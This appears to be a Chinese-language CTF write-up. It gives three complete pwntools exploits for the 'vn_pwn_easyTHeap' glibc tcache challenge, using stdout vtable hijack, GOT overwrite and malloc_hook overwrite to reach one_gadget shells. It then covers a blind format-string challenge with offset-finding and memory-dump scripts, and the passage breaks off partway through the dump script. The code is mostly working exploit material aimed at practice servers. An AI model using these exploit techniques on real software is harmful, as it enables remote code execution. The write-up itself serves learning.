33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'vn_pwn_easyTHeap'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "node3.buuoj.cn"
remotePort = 28200


LOCAL = 0
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
# 这里由于直接查找_IO_str_jumps找不到,可以采取这样的办法查找_IO_str_jumps,也可以通过调试直接找.
def get_IO_str_jumps_offset():
IO_file_jumps_offset = lib.sym['_IO_file_jumps']
IO_str_underflow_offset = lib.sym['_IO_str_underflow']
for ref_offset in lib.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset

def ad(size):
sla('choice: ', str(1))
sla('?', str(size))

def rm(idx):
sla('choice: ', str(4))
sla('?', str(idx))

def md(idx, data):
sla('choice: ', str(2))
sla('?', str(idx))
sla(':', data)

def dp(idx):
sla('choice: ', str(3))
sla('?', str(idx))

def q():
sla('choice: ', str(5))

leak heap

1
2
3
4
5
6
7
8
9
10
ad(0x100) #idx 0
ad(0x100) #idx 1

rm(0) # double free使fd指向自己,下次开辟可以通过修改fd实现任意地址分配
rm(0)
# leak heap addr
dp(0) # 打印自己本身地址
heap_base = u64(ru('\n') + '\x00\x00') - 0x260
li('heap_base ' + hex(heap_base))

leak libc

通过使tcache bin的数量不满足满0~7之后,释放即获得通过unsoted bin通过打印泄漏libc地址, 那么怎样才能不满足呢,由于程序中最多只能分配7次,就不能使tcache bin的数量大于7了,那只能小于0,怎样才能小于0, 就采用tcache double free之后,就已经形成一个环,若没有修改fd,就一直在原地分配,分配成功后tcache bin的count - 1,当tcache bin的count小于0时,再次释放任何堆,就不会到tcache bin中了.

1
2
3
4
5
6
7
8
9
10
# 一直开辟,直到count 小于0
ad(0x100) # 2 for ajust
ad(0x100) # 3
# 这里count 为-1,若开辟后释放,就不会到tcache bin中了
ad(0x100) # 4
rm(0)
# leak heap addr
dp(0) # 当前的fd就是自己本身的地址,泄漏出heap地址
heap_base = u64(ru('\n') + '\x00\x00') - 0x260
li('heap_base ' + hex(heap_base))

实现任意地址写入

这里只需修改chunk 0的fd指向我们想要的地方,再次开辟,就会到我们想要修改的地方.

1
2
3
4
5
p = p64(_IO_2_1_stdout_) #修改chunk 0,(因为前几次分配都是重叠在一块chunk上的)的fd指向stdout
md(3, p)

ad(0x100) # idx 5 for ajust
ad(0x100) # idx 6, 开辟到stdout

上面任意地址写入已经实现,如果改写malloc_hook或者free_hook,可以改写成功,但是没有办法触发.这是因为,已经用完了add功能的7次调用,delete功能的3次调用,因此,接下来,就调用不了malloc或free,也就无法触发了.因此,可以劫持_IO_2_1_stdout_的虚表.通过IO流对虚表的调用来触发one_gadget.由于glibc为2.29,因此不能直接伪造虚表,而应该将虚表劫持为_IO_str_jumps_附近

1
2
3
4
5
6
7
8
9
10
0x00007f1fda7b1a65 <+165>:	lea    rdx,[rip+0x366cf4]        # 0x7f1fdab18760 	<_IO_helper_jumps>
0x00007f1fda7b1a6c <+172>: lea rax,[rip+0x367a55] # 0x7f1fdab194c8
0x00007f1fda7b1a73 <+179>: sub rax,rdx
0x00007f1fda7b1a76 <+182>: mov rcx,r13
0x00007f1fda7b1a79 <+185>: sub rcx,rdx
0x00007f1fda7b1a7c <+188>: cmp rax,rcx
0x00007f1fda7b1a7f <+191>: jbe 0x7f1fda7b1b40 <_IO_puts+384>
0x00007f1fda7b1a85 <+197>: mov rdx,rbx
0x00007f1fda7b1a88 <+200>: mov rsi,r12
0x00007f1fda7b1a8b <+203>: call QWORD PTR [r13+0x38] #调用虚表

只需要让[r13+0x38]为IO_str_finish函数的指针即可,因此,需要将虚表修改为IO_str_jumps – XX,使得,r13+0x38正好对应上_IO_str_finish指针, 而IO_str_finish函数会call [IO_2_1_stdout + 0xE8]

call的前提是_IO_2_1_stdout_的flag的低1字节要为0. 综上,需要劫持_IO_2_1_stdout_结构体,修改flags,劫持虚表为IO_str_jumps – XX,修改_IO_2_1_stdout_+0xE8处为one_gadget.然后puts的调用即可触发one_gadget

修改IO_2_1_stdout结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
p = p64(0xfbad2886) # 要覆盖flag的最低bit为0
#中间数据保持不变
p += p64(_IO_2_1_stdout_ + 0x200) * 7
p += p64(_IO_2_1_stdout_ + 0x201)
p += p64(0) * 5
p += p32(1) # file num
p += p32(0)
p += p64(0xffffffffffffffff)
p += p64(0x000000000a000000)
_IO_stdfile_1_lock = lib.address + (0x7ff3095508c0 - 0x7ff309163000)
p += p64(_IO_stdfile_1_lock)
p += p64(0xffffffffffffffff)
p += p64(0)
_IO_wide_data_1 = lib.address + (0x7f2fc336a8c0 - 0x7f2fc2f7f000)
p += p64(_IO_wide_data_1)
p += p64(0) * 3
p += p64(0xffffffff)
p = p.ljust(0xd8, '\x00')

#修改对应IO_str_finish函数指针,该函数会调用IO_2_1_stdout_+0xE8处的函数指针
p += p64(vtable_jump)
p += p64(0)
p += p64(one_gadget) # IO_2_1_stdout_+0xE8处只需修改为one_gadget
md(6, p)

exp-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'vn_pwn_easyTHeap'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "node3.buuoj.cn"
remotePort = 28200


LOCAL = 0
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def get_IO_str_jumps_offset():
IO_file_jumps_offset = lib.sym['_IO_file_jumps']
IO_str_underflow_offset = lib.sym['_IO_str_underflow']
for ref_offset in lib.search(p64(IO_str_underflow_offset)):
li('AA')
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset

def ad(size):
sla('choice: ', str(1))
sla('?', str(size))

def rm(idx):
sla('choice: ', str(4))
sla('?', str(idx))

def md(idx, data):
sla('choice: ', str(2))
sla('?', str(idx))
sla(':', data)

def dp(idx):
sla('choice: ', str(3))
sla('?', str(idx))

def q():
sla('choice: ', str(5))

#--------------------------Exploit--------------------------
def exploit():
ad(0x100) #idx 0
ad(0x100) #idx 1

rm(0)
rm(0)

# leak heap addr
dp(0)
heap_base = u64(ru('\n') + '\x00\x00') - 0x260
li('heap_base ' + hex(heap_base))

ad(0x100) # 2 for ajust
ad(0x100) # 3
ad(0x100) # 4 teache count as -1, so free chunk will not be teache bin
rm(0)

# leak libc
_IO_str_jumps_offset = get_IO_str_jumps_offset()

dp(0)
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - 96 - 0x3ebc40
li('libc base ' + hex(lib.address))

_IO_str_jumps = lib.address + _IO_str_jumps_offset
_IO_2_1_stdout_ = lib.sym['_IO_2_1_stdout_']

li('_IO_str_jumps ' + hex(_IO_str_jumps))
li('_IO_2_1_stdout ' + hex(_IO_2_1_stdout_))
vtable_jump = _IO_str_jumps - 0x28
gadget = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = lib.address + gadget[1]

# can't malloc only to modify _IO_2_1_stdout vtable
p = p64(_IO_2_1_stdout_) # evil address
md(3, p)

ad(0x100) # idx 5 for ajust
ad(0x100) # idx 6, malloc to our addr

p = p64(0xfbad2886)
p += p64(_IO_2_1_stdout_ + 0x200) * 7
p += p64(_IO_2_1_stdout_ + 0x201)
p += p64(0) * 5
p += p32(1) # file num
p += p32(0)
p += p64(0xffffffffffffffff)
p += p64(0x000000000a000000)
_IO_stdfile_1_lock = lib.address + (0x7ff3095508c0 - 0x7ff309163000)
p += p64(_IO_stdfile_1_lock)
p += p64(0xffffffffffffffff)
p += p64(0)
_IO_wide_data_1 = lib.address + (0x7f2fc336a8c0 - 0x7f2fc2f7f000)
p += p64(_IO_wide_data_1)
p += p64(0) * 3
p += p64(0xffffffff)
p = p.ljust(0xd8, '\x00')
p += p64(vtable_jump)
p += p64(0)
p += p64(one_gadget)

md(6, p)
#db()


def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

参考: https://blog.csdn.net/seaaseesa/article/details/105404106

打法2

评估:

复杂度: 一般 成功率: 一般

上面那个调用太复杂了,来个直接的

知识点

tcache, libc中的链接原理(与plt与got差不多)

思路

程序中限制了mallocfree的次数, 存在明显的uaf漏洞, 但是可以首先利用Tcache dup泄露heap 地址, 然后通过使tcache bin的数量不满足满0~7之后,释放即获得通过unsoted bin通过打印泄漏libc地址,后面通过还有任意地址分配.将要调用的某个libc中的某个plt函数所对应的跳转地址中的值给改为one_gadget

利用

这个获取libc地址的打法与上面一样,就不写了, 主要是获得任意读写地址之后,怎样打one_gadget调用.这个打发就简单得多了,且高效,若所以one_gadget打不通,还可以换其他libc中plt函数来打,打通几率大大提升.

通过调试, 发现在puts中存在一个plt,但是我打了全部one_gadget,就是参数不符合one_gadget,所以在printf中找到一个,如下.ABS*+0xa07f0@plt就是我们的目标了.

1
2
3
4
5
6
7
8
  0x7f68f522141f <vfprintf+143>    mov    qword ptr [rbp - 0x438], rax
0x7f68f5221426 <vfprintf+150> movups xmmword ptr [rbp - 0x448], xmm0
► 0x7f68f522142d <vfprintf+157> call *ABS*+0xa07f0@plt <0x7f68f51e7040>
rdi: 0x55d549dc2ff6 ◂— imul esp, dword ptr [rax + rdi*2 + 0x3f], 0x6e6f6300 /* 'idx?' */
rsi: 0x25
rdx: 0x7ffe06e5d790 ◂— 0x3000000008
rcx: 0x0

反编译ABS+0xa07f0@plt <0x7f68f51e7040>,获取类似与储存地址的got表地址.0x7f68f55b1048

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> disass 0x7f68f51e7040
Dump of assembler code for function *ABS*+0xa07f0@plt:
0x00007f68f51e7040 <+0>: jmp QWORD PTR [rip+0x3ca002] # 0x7f68f55b1048
0x00007f68f51e7046 <+6>: push 0x28
0x00007f68f51e704b <+11>: jmp 0x7f68f51e6fd0
End of assembler dump.
pwndbg> x /40gx 0x7f68f55b1048 # 修改里面的地址为one_gadget就行.
0x7f68f55b1048: 0x00007f68f5277120 0x00007f68f5345c80
0x7f68f55b1058: 0x00007f68f51e7066 0x00007f68f5347490
0x7f68f55b1088: 0x00007f68f5271970 0x00007f68f5350f90
0x7f68f55b1098: 0x00007f68f5271ea0 0x00007f68f55d0250
... ...
pwndbg> x /10gx 0x00007f68f5277120
0x7f68f5277120 <__strchrnul_sse2>: 0xff25f889ce6e0f66 0x3dc9600f6600000f
0x7f68f5277130 <__strchrnul_sse2+16>: 0xc9610f6600000fc0 0x4d8f0f00c9700f66
0x7f68f5277140 <__strchrnul_sse2+32>: 0x66076f0ff3000001 0x66e06f0f66dbef0f
0x7f68f5277150 <__strchrnul_sse2+48>: 0x66e3740f66c1740f 0x85c0d70f66c4eb0f
0x7f68f5277160 <__strchrnul_sse2+64>: 0x8d48c0bc0f0d74c0 0x0000441f0fc30704
pwndbg>


exp-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'vn_pwn_easyTHeap'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "node3.buuoj.cn"
remotePort = 28200


LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------

def ad(size):
sla('choice: ', str(1))
sla('?', str(size))

def rm(idx):
sla('choice: ', str(4))
sla('?', str(idx))

def md(idx, data):
sla('choice: ', str(2))
sla('?', str(idx))
sa(':', data)

def dp(idx):
sla('choice: ', str(3))
sla('?', str(idx))

def q():
sla('choice: ', str(5))

#--------------------------Exploit--------------------------
def exploit():
ad(0x100) #idx 0
ad(0x100) #idx 1

rm(0)
rm(0)

# leak heap addr
dp(0)
heap_base = u64(ru('\n') + '\x00\x00') - 0x260
li('heap_base ' + hex(heap_base))

ad(0x100) # 2 for ajust
ad(0x100) # 3
ad(0x100) # 4 teache count as -1, so free chunk will not be teache bin
rm(0)

# leak libc

dp(0)
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - 96 - 0x3ebc40
li('libc base ' + hex(lib.address))
ABS = lib.address + (0x7fd855098048 - 0x7fd854cad000)
gadget = [0x4f2c5, 0x4f322, 0xe569f, 0xe5858, 0xe585f, 0xef863, 0x10a38c, 0x10a398]
one_gadget = lib.address + gadget[1]

# can't malloc only to modify _IO_2_1_stdout vtable

md(3, p64(ABS))

ad(0x100) # idx 5 for ajust
li('ABS_got ' + hex(ABS))
ad(0x100) # idx 6, malloc to our addr

p = p64(one_gadget)
#db()
md(6, p)


def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5863 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a398 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
'''

打法3

评估:

复杂度: 一般 成功率: 高

上面那个两个都没有控制好malloc的次数,多了一个,这个就控制少了一个,所以直接修改realloc_hook和malloc_hook打one_gadget.

知识点

tcache管理机制

思路

程序中限制了malloc 和 free 的次数, 存在明显的uaf漏洞, 但是可以首先利用Tcache dup泄露heap 地址,且也使该方法打入tcache 管理头部,也就是堆的头部,修改tcahe的数量为7,在释放堆块的时候就不会由tcache bin来管理.这样可以泄漏libc,再次修改该结构,使bin指向malloc - 8处,下次分配直接修改该地址,realloc调参数打one_gadget

exp-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'vn_pwn_easyTHeap'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "node3.buuoj.cn"
remotePort = 28200


LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------

def ad(size):
sla('choice: ', str(1))
sla('?', str(size))

def rm(idx):
sla('choice: ', str(4))
sla('?', str(idx))

def md(idx, data):
sla('choice: ', str(2))
sla('?', str(idx))
sa(':', data)

def dp(idx):
sla('choice: ', str(3))
sla('?', str(idx))

def q():
sla('choice: ', str(5))

#--------------------------Exploit--------------------------
def exploit():
ad(0x100) #idx 0
ad(0x100) #idx 1

rm(0)
rm(0)

# leak heap addr
dp(0)
heap_base = u64(ru('\n') + '\x00\x00') - 0x260
li('heap_base ' + hex(heap_base))

ad(0x100) #ixx 2
md(2, p64(heap_base + 0x10)) #modify as heap base
ad(0x100) #idx 3
ad(0x100) #idx 4
p = p64(0x0)
p +=p64(0x0700000000000000) # set as max num so free not as tcache bin
md(4, p)
rm(0)
#leak libc
dp(0)
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - 96 - 0x3ebc40
li('libc base ' + hex(lib.address))
gadget = [0x4f2c5, 0x4f322, 0xe569f, 0xe5858, 0xe585f, 0xef863, 0x10a38c, 0x10a398]
one_gadget = lib.address + gadget[1]
p = p64(0x0)
p +=p64(0x0700000000000000) # set as max num so free not as tcache bin
p = p.ljust(0xB8, '\x00')
p += p64(lib.sym['__malloc_hook'] - 8)

md(4, p)
ad(0x100) #idx 5
p = p64(one_gadget)
p += p64(lib.sym['realloc'] + 8)
md(5, p)
#get shell
#db()
ad(0x1)



## can't malloc only to modify _IO_2_1_stdout vtable


def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5863 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a398 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
'''

AXB_2019_fmt

来源

AXB_2019

难度

4/ 10

简单描述

不给elf文件, 盲打.

vul

1
2
3
4
5
6
7
8
logan@LYXF:~/share/axb_fmt1$ nc node3.buuoj.cn 29458
Hello,I am a computer Repeater updated.
After a lot of machine learning,I know that the essence of man is a reread machine!
So I'll answer whatever you say!
Please tell me:%p %p
Repeater:0x804888d 0xffde142f

Please tell me:^c

存在字符串漏洞, 输出4bytes的地址, 这是一个32位程序

知识点

fmt vul的各种利用, fmt vul dump文件, fmt vul修改内存.

思路

先使用脚本算出偏移,然后编写dump脚本, 这是一个32 bit的程序,就从0x08048000开始dump内存然后写入本地文件中, 后面就简单得多了, 分析所dump的文件,发现strlen对字符串的长度进行判断, 采用字符串漏洞泄漏libc,随便找一个函数都行,计算偏移,然后再获取system函数, 修改strlen的got地址为system,再输入时输入’;/bin/sh’就行, 注意,因为strlen传入的时候, Repeater:也跟着传入, 在linux bash中以’; ‘来进行分割命令,所以相当于执行两次命令, 一个Repeater:和一个/bin/sh.

利用

计算偏移

这个是我自己写的一个跑偏移脚本, 十分方便,用手数…^_^

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

#exeFile = "./4th-CyberEarth"

remoteIp = "node3.buuoj.cn"
remotePort = 29619

LOCAL = 0
maxLen = 0x30
minLen = 0x10
preSendStr = ''
recvStr = ''

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

def calc(payload):
if(preSendStr == ''):
sl(payload)
else:
sla(preSendStr, payload)

if(recvStr != ''):
ru(recvStr)

recv = ra()
infos = recv.split(', ')
offset = -1
for info in infos:
li(info)
offset += 1
if('0x44434241' == info):
return offset
#pause()
return -1

#--------------------------Main-----------------------------
if __name__ == '__main__':

length = 0;
payload = 'ABCD' + ', %p' * minLen
while(True):
if LOCAL:
io = process(exeFile)
else:
io = remote(remoteIp, remotePort)
offset = calc(payload)
if(-1 != offset):
li('---------------------------------------------')
li('\noffset:' + str(offset))
io.close()
break
io.close()
payload += ', %p'
length += 1

if(length > maxLen):
li('---------------------------------------------')
li('not found! maxLen too litile')
io.close
break


跑的操作如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
logan@LYXF:~/share/axb_fmt1$ python calc_fmt_offset.py 
[+] Opening connection to node3.buuoj.cn on port 29458: Done
[DEBUG] Sent 0x45 bytes:
'ABCD, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p\n'
[-] Receiving all data: Failed
[DEBUG] Received 0x7b bytes:
'Hello,I am a computer Repeater updated.\n'
'After a lot of machine learning,I know that the essence of man is a reread machine!'
[DEBUG] Received 0x31 bytes:
'\n'
"So I'll answer whatever you say!\n"
'Please tell me:'
[DEBUG] Received 0xc8 bytes:
'Repeater:ABCD, 0x804888d, 0xffe54d3f, 0xf7f5a53c, 0xffe54d48, 0xf7f365c5, 0x4f, 0x41e54e34, 0x2c444342, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520\n'
'\n'

通过手数, 差一个字节偏移就为8 (0x41e54e34, 0x2c444342), 后面再利用的时候就要得补一字节对其.

编写dump脚本

利用 printf 中的 %s来进行dump, ‘%’ + str(offset + x) + ‘$s’ + p32(target_addr)来调整所dump的参数位置, 这就可以dump出任何内存的值了, 我们知道, linux32位程序,若没有开启pie的话,elf文件就加载到0x08048000起始位置, linux 64位程序就加载到0x400000位置, 所以我们就从0x08048000位置开始dump, 注意 dump出来的数据是以’\x00’结尾的, 每一条数据后面都要加一条‘\x00’,dump为空的也数据也就为 ‘\x00’,循环dump数据,写入文件, 我也是第一次写dump文件,照着ctf-wiki中那个方法, dump感觉太慢了,每次都要重新连接,而这个体是循环输入的,不用每次dump都重新连接,还有,dump的时候,无误了,尽量把IO输出给删了, 极大影响dump的速率,尽最大的关掉, 还有在打远程的时候总是容易断开,如下:

1
2
3
4
5
6
7
8
9
10
11
[*] dumping: 1660/12288
[*] dumping: 2010/12288
[*] dumping: 2140/12288
[*] dumping: 2270/12288
[*] dumping: 2280/12288
[*] dumping: 2310/12288
[*] dumping: 2320/12288
[*] dumping: 2380/12288
[*] dumping: 2390/12288
[*] dumping: 2460/12288
[*] Error.

这就导致dump的数据太少了, 我就改进了一下,添加一个重新连接,继续dump.改进后如下:

1
2
3
4
5
6
7
[*] dumping: 2540/12288
[*] Closed connection to node3.buuoj.cn port 29458
[*] Error.
[+] Opening connection to node3.buuoj.cn on port 29458: Done
[*] dumping: 2550/12288
[*] dumping: 2560/12288

dump 文件脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan
'''
This is a dump file script
'''

from pwn import *

#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')

exeFile = ''
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "node3.buuoj.cn"
remotePort = 29458

LOCAL = 1
LIB = 0

#--------------------------Exploit--------------------------

offset = 8 + 2 + 2

def getbinary():
data_length = 0x3000 #想要获取数据的长度.
base_addr = 0x08048000 # 起始地址
end_addr = base_addr + data_length # 结束地址
f = open('binary', 'w')
addr = base_addr
isDisConnect = False
disConnectMaxTimes = 3 #这里可以设定一个最大断开连接次数,网络差就调大一点

io = remote(remoteIp, remotePort)
for i in range(disConnectMaxTimes):
io.recvuntil('Please tell me:')
while addr < end_addr:
try:
p = 'ABCDE' #随便一些自己规定的字符,从这里开始读取数据
